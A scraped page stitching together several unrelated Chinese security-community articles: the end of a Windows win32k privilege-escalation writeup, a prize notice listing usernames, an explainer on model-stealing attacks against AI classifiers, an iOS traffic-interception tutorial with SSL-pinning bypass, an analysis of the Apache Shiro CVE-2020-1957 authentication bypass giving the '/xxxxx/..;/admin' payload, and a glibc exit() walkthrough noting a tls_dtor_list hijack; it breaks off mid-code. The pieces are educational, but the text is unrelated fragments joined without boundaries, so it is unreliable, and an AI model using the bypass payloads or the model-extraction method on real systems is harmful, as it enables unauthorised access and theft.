在3月份的Windows7补丁当中，微软修复了窗口类型混淆（不是MENU类型则返回NULL），并且检查popupMenu对象的状态，代码对比如下
补丁前：
补丁后：
### 4\. 结论
通过构造出的POC，发现漏洞成因是在特定情况下调用NtUserMNDragOver函数时，会造成 win32k!MNGetpItemFromIndex
中的零指针解引用。该漏洞利用Windows内核驱动模块win32k.sys可以执行本地提权，提权成功后可以突破普通用户权限的限制，用作安全沙箱逃逸，完全控制用户计算机系统。
* * * | 社区文章 |
目前以下几位白帽子还未反馈邮箱，留电话的已经电话或短信联系，也未反馈，截止2017.10.24 00:00:00 还未反馈，则把对应奖金给予其他白帽子
mapleblue123
tb372426_44
奈何彼岸test
## floooody
之前做过一次先知满意度调查问卷，恭喜以下几位白帽子获得奖品
insunonly
yxh9917
mapleblue123
tb372426_44
秦晓鹏888
奈何彼岸test
吕吕吕白白
floooody
ancjnc
菊花不凋零
（1）奖品因为之前的天猫礼品卡（享淘卡）下线了，我们买不到所以改为Amazon礼品卡（从天猫礼品卡 → Amazon礼品卡，面值都是50元）
（2）麻烦中奖的同学提供下email。（因为接收Amazon礼品卡，购买后Amazon会把礼品卡发送到你们的email）
email地址私聊发我，或者QQ群（群号：237788572）私聊发我！
在此 感谢大家的声音，促使我们一直前进，谢谢你们！！！ | 社区文章 |
# 模型窃取攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
人工智能系统不止存在安全问题，还存在隐私问题，安全问题已经受到了广泛重视，对抗样本等攻击技术大家都有在讨论，相比之下，AI的隐私问题关注的人就没有那么多了，但事实上，AI的隐私保护面临的威胁形势也及其严峻。
我们知道，攻击者之所以会发动攻击，一定是考虑到攻击的性价比的，简单来说，攻击花费的资源如果少于或者远少于攻击成功可以带来的收益，攻击者才会发动攻击。如果从这个角度看，AI的隐私有什么值得攻击的呢？
事实上，大厂为了训练模型，需要花费大量的时间、金钱、人力去收集处理数据，然后花费大量算力训练模型，如果攻击者可以通过某种手段，窃取该模型，不就相当于省去了这么多投入，却能“白嫖”得到一个近似的模型吗？
这类攻击的性价比非常高，但是大部分的注意力还是在AI的安全方面，在隐私方面的关注还不够。本文会介绍一类典型以获取模型隐私为目标的攻击—模型窃取攻击，首先会介绍攻击背景、然后分析背后的细节、原理，最后给出实验复现和分析。
## 攻击
### 背景
攻击者的目标是为了窃取目标模型的功能，但在实际情况中，攻击者与目标模型之间仅存在黑盒的交互作用，即输入图像，输出预测，攻击者并不知道除此之外的任何信息。
### 方案概要及形式化
研究人员提出的对应的攻击方法可以分为两步：
1.向目标模型查询一组输入图像，并获得模型给出的预测
2.使用上一步得到的“图像-预测”对训练一个knockoff（即替代模型）
该攻击方案实际上针对的是AI模型的隐私问题，通过进行攻击，可以得到一个替代模型，而该模型的功能与目标模型相近，但是却不需要训练目标模型所需的金钱、时间、脑力劳动的开销。简单的示意图如下
攻击者仅仅通过与目标模型的交互就可以创建一个替代模型。
该攻击方案的形式化表示如下
攻击者仅有与目标模型Fv：X->Y的黑盒交互权限，其目标是使用替代模型knockoff
FA复制目标模型的功能。图上图所示，这个任务实际上受害者V和攻击者A之间的双方游戏
### 分析
先来看受害者的视角：
他会为一个具体的任务部署一个训练后的CNN模型Fv。为了训练这个模型，受害者需要：1.收集与任务相关的图像x~Pv(x),由专家对其进行标记，组成数据集Dv={(xi,yi)},2.选择在测试集上可以实现最佳性能的模型Fv，将其作为将要部署的模型，3.该模型将会以黑盒的形式部署，输入图像x，输出置信度y=Fv(x)，当然，每进行一次预测，都会有一定的开销，比如延迟、金钱开销等
再来看看攻击者的视角：
攻击者面对的是一个黑盒的模型，输入任何图像x，模型会给攻击者返回K维的后验概率向量y，而这些信息是不可知的，包括：1.Fv模型的内部构造；2.训练集和测试集；3.K个类别的语义信息
为了训练得到knockoff，攻击者需要：
1.使用策略π交互查询图像得到图像的迁移集和伪标签
2.为knockoff选择一个架构并训练其模仿Fv在迁移集上的行为
我们的目标就是训练一个性能好的knockoff，此外还有解决两个问题：1.在有限的查询预算内怎样可以实现最好的性能；2.怎样才能挑选出适合用于查询的图像
该方案这么简单的一说可能很容易让我们想到知识蒸馏，知识蒸馏的目的是将知识从较大的教师模型T（白盒）通过迁移集迁移到较小的学生模型S（knockoff）上，但是我们的攻击与知识蒸馏存在显著不同，如下所示
首先，分布是独立的，用于训练FA的图像x来自分布PA(x),而用于训练FV的图像其分布来自于PV；知识蒸馏需要有对模型更强的知识，S和FA都用于训练来分类服从Pv(x)分布的图像
其次，从用于简单的数据的角度来看，学生网络S最小化KD损失如下
其中有：
这是在温度t控制下的logits a的软后验概率分布
而在攻击方案中的knockoff(对应知识蒸馏中的S)缺少logits a以及正确的标签yt用于训练
## 攻击流程
那么该怎么生成Knockoff呢？
主要分为两步：迁移集构造和训练knockoff FA
### 构造迁移集
构造迁移集，也就是”图像-预测”对，用于训练knockoff模型Fv的行为
首先要选择PA(X).攻击者首先需要选择图像分布来采样图像，这是一个比较大的离散数据集，例如可以用ILSVRC数据集的1.2M的图像作为PA
然后要确定采样策略π：我们是使用这个策略从PA(x)中采样。这里可以考虑两种策略
**随机策略**
在该策略下，随机采样图像，并向FV查询。这是攻击者会采取的极端情况，这种策略的风险是，攻击者采样的图像可能和学习任务无关，比如FV是用于分类鸟的，但是采样的图像却是狗
**自适应策略**
该策略可以将每次查询得到的反馈集成进来，此时的采样策略为：
此时的目的是为了提升查询的样本效率；以及增加FV的可解释性
该方案如下图所示
在每个时间步t，策略模块Pπ采样一系列查询图像，奖励信号rt是基于多个标准得到的，并用于更新策略，最终目标是最大化期望的奖励
为了鼓励有关的查询，我们将每个图像xi与标签zi联系起来，从而丰富攻击者的分布。这些标签与目标模型的输出类之间没有语义关系。例如当PA对应ILSVRC数据集的1.2M图像时，我们使用了超过1000个类的标签。这些标签也可以通过非监督技术获得，例如聚类或估计图密度。使用标签有助于理解目标模型的功能。此外，由于我们希望标签{zi∈Z}是相互关联或相互依赖的，所以我们将它们表示为一个由粗到细的层次结构，上图b所示为一棵树的节点，从上往下为动物-鸟-麻雀。
在每个时间步t，我们从一个离散的动作空间Z(攻击者独立的标签空间)中采样动作zt.沿着树向前移动得到动作：在每个节点，用概率πt(z)对子节点采样，这个概率是由节点的softmax分布决定的，即：
当达到叶节点时，返回对应于标签zt的图像样本
接下来使用动作zt获得的奖励rt使用 _Gradient_
Bandit算法更新策略π，这个更新过程等价于沿着上图b中的树反向移动，其中的节点potential可以更新为：
接着我们需要确定奖励怎么定义，为了评估采样图像的质量，我们研究了三种奖励
第一种使用基于边缘的确定性测度来鼓励受害者有信息的图像,即FV是在其上训练过的：
其中的ki是第i高置信度的类，为了防止在单一标签上探索图像的退化情况，引入了多样性奖励：
为了鼓励图像中knockoff的预测不模仿FV，我们奖励高交叉熵损失：
我们结合以上方法，得到总奖励，为了保持相同的权重，会将每个奖励分别缩放到[0,1],然后使用过去的∆时间步计算出的基线减去即可。
### 训练模型
接下来就是训练Knockoff FA
执行完上一步之后，我们已经得到了迁移集
我们用该数据集进行训练
首选要选择架构FA，我们选择复杂的结构作为FA，比如VGG,ResNet等，因为知识蒸馏领域的研究表明，选择复杂的学生模型鲁棒性更好。
接下来需要训练以模型目标模型，为了加速训练，我们从预训练好的Imagenet网络FA开始，通过最小化交叉熵损失在迁移集上训练FA来模拟FV
## 实验分析及复现
通过对不同的数据集使用不同的查询预算做了实验，结果如下
从结果可以看出，预算越高，或者说查询次数越多，则攻击效果越好。
为了研究不同FA架构的影响，研究人员使用两种黑盒FV架构:Resnet-34和VGG-16来研究这种影响。攻击者通过选择:Alexnet， VGG-16，
Resnet-{18, 34, 50, 101}和Densenet-161分别作为FA的架构，实验结果如下
从图中我们可以得出两个结论：1.knockoff的性能按模型复杂度排序:Alexnet结构最简单，但是性能最差，更复杂的Resnet-101/Densenet-161性能却更好，这说明在选择FA架构时，选一个复杂的架构更好；2.模型家族之间的相似性有助于攻击，因为我们可以看到Resnet-34在窃取VGG-16时取得了相似的性能，反之亦然
那么面临这种攻击是否存在简单的办法呢？比如对输出的结果做处理，可以仅给出argmax，或者从top5变为top2，或者四舍五入，总是要尽可能少的暴露信息，为此也进行了相关实验，结果如下
从图中可以看出，不论是取topk还是舍入都会影响模型性能，对于topk而言，k越小，则攻击效果越差；对于舍入而言，舍入的精度越低，攻击效果越差。这意味着，如果要防御该类型攻击，最简单的办法就是尽量减少模型输入泄露的信息。
接下来分析代码实现以及实际复现过程
我们使用MNIST数据集训练受害者模型，受害者模型选择线性模型
首先加载数据
并定义受害者模型
然后发动攻击
此处extract函数定义为：
然后需要评估，这里就是简单计算模型的性能：
evaluate函数定义为：
当采样策略采用随机策略时，选择mnist数据集作为攻击数据集(此时跟受害者数据集标签100%重叠)，选择线性模型作为攻击模型，以此作为基准，攻击效果如下
保持与基准实验其他条件相同，不过使用resnet作为攻击模型
结果如下
可以看到，由于攻击模型和目标模型架构完全不同，所以攻击效果很差
保持与基准实验其他条件相同，不过使用fmnist数据集作为攻击数据集（此时跟受害者数据集标签0%重叠）
效果如下
可以看到，攻击效果很差
保持与基准实验其他条件相同，不过采样策略采用自适应策略
攻击效果如下
当采样策略采用自适应策略，不过仅使用loss机制时(在前文我们已经说过，存在三种损失，上一个实验我们综合了三种损失，而这个实验我们仅使用loss)，攻击效果如下
综合这两个实验可以看到当综合三种机制时，攻击效果更好
## 参考
1.Knockoff Nets: Stealing Functionality of Black-Box Models
2.<https://github.com/PaddlePaddle/PaddleSleeve>
3.Model Extraction and Defenses on Generative Adversarial Networks
4.<http://www.cleverhans.io/2020/05/21/model-extraction.html>
5.Model Extraction Attacks on Recurrent Neural Networks
6.Data-Free Model Extraction | 社区文章 |
# 简介
在本文中，我们将学习如何设置设备和Burp
Suite来捕获IOS应用程序的网络流量。在开始本文之前，建议先阅读我的[上一篇文章](https://medium.com/p/f37765a38d63?source=user_profile
---------4------------------ "上一篇文章")。
# 识别通信协议
IOS应用程序可以使用任何应用层协议与其服务器通信。识别网络通信协议是流量分析的第一步。由于全球都在使用HTTP(S)，所以大多数应用程序通过HTTP进行通信。但也可以使用其他协议，如果需要，应用程序甚至可以使用原始套接字。例如，著名的应用程序“WhatsApp”使用XMPP(可扩展消息传递和表示协议)进行通信。
资料来源:
<https://wiki.mikrotik.com/wiki/Testwiki/Introduction_to_internetworking>
识别通信协议需要使用Wireshark、tcpdump等工具，或者通过使用任何流行的编程语言(如python或ruby)编写的自行开发的脚本来实现。我们将讨论IOS应用程序的HTTP(S)流量分析。让我们以TwitterIOS应用程序为例。
我们需要将手机连接到计算机上的WIFI，以便使用Wireshark捕获数据包。
我们首先记下我们设备的本地IP地址（例如我的IP地址10.42.0.208）。
现在，我们在计算机上启动Wireshark，并设置一个过滤器以匹配设备的IP地址。
在收集有关Wireshark中找到的IP地址的信息时，我们注意到该IP地址属于主机名(hostname)api.twitter.com，这确认了Twitter
IOS应用程序通过HTTPS进行通信。
从屏幕截图中可以看出，Twitter使用HTTPS进行通信。
# 使用Burp Suite捕获iOS应用程序的HTTPS流量
为了捕获BurpSuite上的HTTP流量，我们首先需要在BurpSuite中启动一个代理监听器，如图所示。
转到Proxy→Options→Proxy Listener。
编辑默认运行实例或添加新实例。
为代理选择一个侦听端口(应大于1023且非忙碌)，例如8282端口，与iPhone设备连接到同一网络的接口的IP地址。如果您想频繁切换网络，可以使其在所有接口上侦听。但您必须非常小心地执行每步操作。
配置iPhone的代理设置以匹配Burp Suite的代理侦听器。
完成此操作后，打开Safari并导航到任何HTTPWeb站点(如<http://www.bbc.com)，然后观察BurpSuite中的Proxy→HTTP>
History Tab。
还可以注意到，“Target(目标) Tab"开始记录网络流量，并对其进行扫描以查找潜在的漏洞。
# 捕获HTTPS流量
如果我们试图捕获来自HTTPS网站(如google.com或yahoo.com)的网络流量，我们会在浏览器中看到一条消息，如屏幕截图所示。
如今许多网站以及我们的目标应用程序即Twitter使用HTTPS。此外，应用程序还实现了HSTS标志，即HTTP Strict-Transport-Security，以禁止通过HTTP访问API。为了捕获流量，我们需要网站信任我们——我们需要安装Burp
Suite的CA证书。首先，我们需要确保Burp代理被正确配置为拦截从设备到Burp Suite的流量。
导航到常规→关于→证书信任设置。
现在，如果我们尝试捕获HTTPS流量，我们将能够在Burp Suite中成功实现。
转到Twitter应用程序，当我们启动该应用程序时，我们注意到应用程序流量无法被捕获。选中“Alerts”选项卡，将显示屏幕截图中显示的一条消息。
这表示应用程序已实现SSL pinning。开发人员使用SSL pinning来提高移动应用程序的安全性。有关SSL
pinning的详细信息，请参阅：<https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning>
如果SSL pinning是100%被应用，那么来自应用程序的SSL流量将不会在Burp
Suite或任何其他工具上被捕获。但如果不是这样，攻击者就可以绕过它。为了在IOS应用程序中自动绕过SSL pinning，需要使用名为“SSL
Killswitch”的工具(手动绕过SSL pinning将在运行时分析中介绍)。从URL“
<https://github.com/nabla-c0d3/ssl-kill-switch2/releases> ”
下载deb软件包，并按步骤所示进行安装。
可以通过Settings→SSLKILSwitch2启用。
如果我们现在启动该应用程序，我们将观察到网络流量将在Burp Suite中被捕获。
# 总结
在本文中，我们通过使用Burp
Suite捕获应用程序的网络流量来进行流量分析。本文中的知识将在接下来的文章中进一步使用，用于分析流量以发现IOS应用程序中的漏洞。
一起学习，一起进步！
翻译文章 来自：https://medium.com/@lucideus/getting-started-with-traffic-analysis-of-ios-applications-part-1-application-traffic-and-burp-84313e1334ff | 社区文章 |
# 简介
CVE-2020-1957，Spring Boot中使用Apache Shiro进行身份验证、权限控制时，可以精心构造恶意的URL，利用Apache
Shiro和Spring Boot对URL的处理的差异化，可以绕过Apache Shiro对Spring
Boot中的Servlet的权限控制，越权并实现未授权访问。
# 环境
* Java(TM) SE Runtime Environment (build 1.8.0_112-b16)
* Apache Shiro 1.5.1
* Spring Boot 1.5.22.RELEASE
项目代码可以通过threedr3am师傅项目进行魔改，加深理解
https://github.com/threedr3am/learnjavabug
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.22.RELEASE</version>
<relativePath/>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>cve-2020-1957</artifactId>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>7</source>
<target>7</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.5.1</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.1</version>
</dependency>
</dependencies>
</project>
在概念层，`Shiro`架构包含三个主要的理念：`Subject`、`SecurityManager`、`Realm`。
`Spring Boot`整合`Shiro`的核心逻辑和代码
Realm.java
public class Realm extends AuthorizingRealm {
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
return null;
}
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
String username = (String) token.getPrincipal();
if (!"rai4over".equals(username)) {
throw new UnknownAccountException("账户不存在!");
}
return new SimpleAuthenticationInfo(username, "123456", getName());
}
}
`Shiro`中的`Realm`提供待验证数据的验证方式。
`SecurityManager`要验证用户身份，那么它需要从`Realm`获取相应的用户进行比较以确定用户身份是否合法；也需要从`Realm`得到用户相应的角色/权限进行验证用户是否能进行操作。
比如此处代码就通过重写`doGetAuthorizationInfo`方法，并以账户名`rai4over`和密码`123456`为标准对登录进行了身份认证。
ShiroConfig.java
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}
@Bean
SecurityManager securityManager() {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap();
map.put("/login", "anon");
map.put("/xxxxx/**", "anon");
map.put("/aaaaa/**", "anon");
map.put("/admin", "authc");
map.put("/admin.*", "authc");
map.put("/admin/**", "authc");
map.put("/**", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
`Shiro`配置类，创建`SecurityManager`，并为`SecurityManager`提供并设置`Realm`。在`shiroFilterFactoryBean`中设置具体的拦截器规则，admin及其路径下的url设置权限为`authc`，需要经过登录认证后才能访问；其他的`login`、`xxxxx`等URL则设置权限为`anon`，可以无需权限认证进行匿名访问。
TestController.java
@RestController
public class TestController {
@RequestMapping(value = "/login")
public String login(String username, String password) {
Subject subject = SecurityUtils.getSubject();
try {
subject.login(new UsernamePasswordToken(username, password));
return "登录成功!";
} catch (AuthenticationException e) {
e.printStackTrace();
return "登录失败!";
}
}
@RequestMapping(value = "/admin", method = RequestMethod.GET)
public String admin() {
return "admin secret bypass and unauthorized access";
}
@RequestMapping(value = "/xxxxx", method = RequestMethod.GET)
public String xxxxx() {
return "xxxxx";
}
}
`Spring Boot`的`Controller`，包含和配置类对应的路由`admin`、`xxxxx`等的响应方式。
# 复现
`xxxxx`无需认证访问内容
`admin`访问就跳转到`login`登录
`/xxxxx/..;/admin`越权访问`admin`内容成功
# 分析
## Shiro 处理
我们发送的恶意`/xxxxx/..;/admin`请求首先经过`Shiro`进行处理
org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
`shiro`中的`PathMatchingFilterChainResolver`类对传入的`URL`进行解析，并和已经配置的过滤器规则进行匹配进行判断。
org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getPathWithinApplication
实现自定义请求到应用程序路径的解析行为，参数为`ServletRequest`对象，包含请求的上下文信息：
org.apache.shiro.web.util.WebUtils#getPathWithinApplication
`getPathWithinApplication`检测并返回路径。
org.apache.shiro.web.util.WebUtils#getRequestUri
从请求上下文对象中获取具体的`URI`，也就是`/xxxxx/..;/admin`，然后传入`decodeAndCleanUriString`。
org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString
将`;`后面进行截断，此时的uri为`/xxxxx/..`，返回并作为参数传入`normalize`。
org.apache.shiro.web.util.WebUtils#normalize(java.lang.String)
继续跟进
org.apache.shiro.web.util.WebUtils#normalize(java.lang.String, boolean)
private static String normalize(String path, boolean replaceBackSlash) {
if (path == null)
return null;
// Create a place for the normalized path
String normalized = path;
if (replaceBackSlash && normalized.indexOf('\\') >= 0)
normalized = normalized.replace('\\', '/');
if (normalized.equals("/."))
return "/";
// Add a leading "/" if necessary
if (!normalized.startsWith("/"))
normalized = "/" + normalized;
// Resolve occurrences of "//" in the normalized path
while (true) {
int index = normalized.indexOf("//");
if (index < 0)
break;
normalized = normalized.substring(0, index) +
normalized.substring(index + 1);
}
// Resolve occurrences of "/./" in the normalized path
while (true) {
int index = normalized.indexOf("/./");
if (index < 0)
break;
normalized = normalized.substring(0, index) +
normalized.substring(index + 2);
}
// Resolve occurrences of "/../" in the normalized path
while (true) {
int index = normalized.indexOf("/../");
if (index < 0)
break;
if (index == 0)
return (null); // Trying to go outside our context
int index2 = normalized.lastIndexOf('/', index - 1);
normalized = normalized.substring(0, index2) +
normalized.substring(index + 3);
}
// Return the normalized path that we have completed
return (normalized);
}
对URI进行了规范化操作，比如循环替换反斜线、对多个下划线进行多余替换等操作，URI结果仍为`/xxxxx/..`，并返回到上层的`getChain`进行具体权限判断。
/org/apache/shiro/shiro-web/1.5.1/shiro-web-1.5.1-sources.jar!/org/apache/shiro/web/filter/mgt/PathMatchingFilterChainResolver.java:123
在`for`循环中进行判断权限，遍历的对象是`filterChainManager.getChainNames()`
org.apache.shiro.web.filter.mgt.DefaultFilterChainManager#getChainNames
返回和过滤器配置的一样的集合，具体为：
查看通过校验时的情况
当`/xxxxx/..`和`/xxxxx/**`进行匹配时，是能够成功匹配的。
因此请求`/xxxxx/..;/admin`，在shiro中经过处理变为`/xxxxx/..`，与过滤器`/xxxxx/**`规则进行匹配通过校验，成功转向后方的`Spring
Boot`。
当前的调用栈为：
getChain:128, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt)
getExecutionChain:415, AbstractShiroFilter (org.apache.shiro.web.servlet)
executeChain:448, AbstractShiroFilter (org.apache.shiro.web.servlet)
call:365, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:387, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:362, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:99, RequestContextFilter (org.springframework.web.filter)
doFilter:107, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:109, HttpPutFormContentFilter (org.springframework.web.filter)
doFilter:107, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, HiddenHttpMethodFilter (org.springframework.web.filter)
doFilter:107, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:197, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:107, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:493, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:137, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:798, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:808, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1498, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
## Spring 处理
恶意请求`/xxxxx/..;/admin`通过Shiro的校验后，传递到Spring
Boot中进行解析，根据`Controller`设置的路由选择对应`Servlet`
org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping
开始获取请求对应的`Servlet`路径。
org.springframework.web.util.UrlPathHelper#getServletPath
从请求上下文对象中获取`javax.servlet.include.servlet_path`属性的结果为`null`，进入`if`分支。
javax.servlet.http.HttpServletRequestWrapper#getServletPath
`Spring Boot`此处开始使用`JDK`从请求上下文对象中获取`Servlet`。
org.apache.catalina.connector.Request#getServletPath
经过`JDK`解析从`Mapping`中得到`Servlet`结果为`/admin`，
/Users/rai4over/.m2/repository/org/springframework/spring-web/4.3.25.RELEASE/spring-web-4.3.25.RELEASE-sources.jar!/org/springframework/web/util/UrlPathHelper.java:231
最后返回给`Spring Boot`，形成了对`/admin`这个`Servlet`的未授权访问，最终再返回给攻击者。
# 修复
<https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce#diff-98f7bc5c0391389e56531f8b3754081aR139>
修改了`requestURI`的获取方式，经过更准确的解析获取。
# 参考
<https://github.com/threedr3am/learnjavabug>
<http://www.51gjie.com/javaweb/1138.html> | 社区文章 |
# Glibc2.32源码分析之exit部分
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Green bananas in wholesale fresh market
## 前言
为了深入理解house of banana，决定分析一下源码，水平有限大佬勿喷，有错误的地方望提出指正，共同进步。
## 原理分析
### 调试代码
#include <stdio.h>
#include <stdlib.h>
int main(){
puts("start...");
exit(0);
return 0;
}//gcc exit_test.c -o exit_test
查看exit源码，这里用到了exit_function_list还有exit_function结构体
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};
我们在这里可以看到源码是直接调用__run_exit_handlers，可以在源码里看到对应的参数类型，同时gdb跟进去调试的时候也可以看到对应参数。
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)//位置在stdlib/exit.c
对应源码，我们可以看到，因为`run_dtors`为1，所以函数会先调用`__call_tls_dtors`函数。
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
.......
### __call_tls_dtors遍历tls_dtor_list调用函数
查看`__call_tls_dtors`源码，同时`gdb`跟进`__call_tls_dtors`。里面有一个`dtor_list`结构体定义的`tls_dtor_list`指针，`__call_tls_dtors`这个函数的作用就是遍历`tls_dtor_list`结构体链表，每次遍历都会用到`tls_dtor_list`里的`func`，将`tls_dtor_list`里的obj作为第一个参数，这里其实也可以进行利用，只要将`tls_dtor_list`覆盖成我们的堆地址，便可以控制调用函数和其参数。
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
static __thread struct dtor_list *tls_dtor_list;
static __thread void *dso_symbol_cache;
static __thread struct link_map *lm_cache;
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
### 循环处理使用“atexit”和“on_exit”注册的函数。
在大概读了整个流程后，发现整个循环（两层循环）都只执行了一次；因为cur->next==null且cur->idx为1；在第一次`while
(cur->idx > 0)`里有`--cur->idx`的操作，所以循环一次；然后在循环退出的时候；`*listp =
cur->next;.....cur = *listp;`使得在第一次`while (true)`的循环后，第二次循环开始的时候`if (cur ==
NULL){......break}`；退出循环。
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;
__libc_lock_lock (__exit_funcs_lock);
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
.......
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);
}
可以gdb动调看一下
pwndbg> p cur
$1 = (struct exit_function_list *) 0x7ffff7fa2bc0 <initial>
pwndbg> p *(struct exit_function_list *) 0x7ffff7fa2bc0
$2 = {
next = 0x0,
idx = 1,
fns = {{
flavor = 4,
func = {
at = 0x21d4735c8b0c67e2,
on = {
fn = 0x21d4735c8b0c67e2,
arg = 0x0
},
cxa = {
fn = 0x21d4735c8b0c67e2,
arg = 0x0,
dso_handle = 0x0
}
}
}, {
flavor = 0,
func = {
.......
}
} <repeats 31 times>}
}
整个循环源代码如下
......
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);
